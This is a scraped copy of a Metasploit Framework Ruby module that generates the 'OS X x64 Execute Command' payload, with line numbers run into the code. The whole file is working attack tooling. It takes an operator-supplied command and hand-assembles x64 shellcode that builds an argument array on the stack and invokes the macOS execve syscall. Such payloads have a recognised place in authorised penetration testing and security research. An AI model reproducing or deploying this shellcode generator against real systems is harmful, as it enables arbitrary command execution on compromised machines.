Path: blob/master/modules/payloads/singles/osx/x64/exec.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 3178include Msf::Payload::Single910def initialize(info = {})11super(12merge_info(13info,14'Name' => 'OS X x64 Execute Command',15'Description' => 'Execute an arbitrary command',16'Author' => [17'argp <argp[at]census-labs.com>',18'joev'19],20'License' => MSF_LICENSE,21'Platform' => 'osx',22'Arch' => ARCH_X6423)24)2526# exec payload options27register_options([28OptString.new('CMD', [ true, 'The command string to execute' ])29])30end3132# build the shellcode payload dynamically based on the user-provided CMD33def generate(_opts = {})34cmd_str = datastore['CMD'] || ''35# Split the cmd string into arg chunks36cmd_parts = Shellwords.shellsplit(cmd_str)37cmd_parts = ([cmd_parts.first] + (cmd_parts[1..] || []).reverse).compact38arg_str = cmd_parts.map { |a| "#{a}\x00" }.join39call = "\xe8" + [arg_str.length].pack('V')40"\x48\x31\xd2"+ # xor rdx, rdx41call + # call CMD.len42arg_str + # CMD43"\x5f" + # pop rdi44if cmd_parts.length > 145"\x48\x89\xf9" + # mov rcx, rdi46"\x52" + # push rdx (null)47# for each arg, push its current memory location on to the stack48cmd_parts[1..].each_with_index.map do |_arg, idx|49"\x48\x81\xc1" + # add rcx + ...50[cmd_parts[idx].length + 1].pack('V') +51"\x51" # push rcx (build str array)52end.join53else54"\x52" # push rdx (null)55end +56"\x57"+ # push rdi57"\x48\x89\xe6"+ # mov rsi, rsp58"\x48\xc7\xc0\x3b\x00\x00\x02" + # mov rax, 0x200003b (execve)59"\x0f\x05" # syscall60end61end626364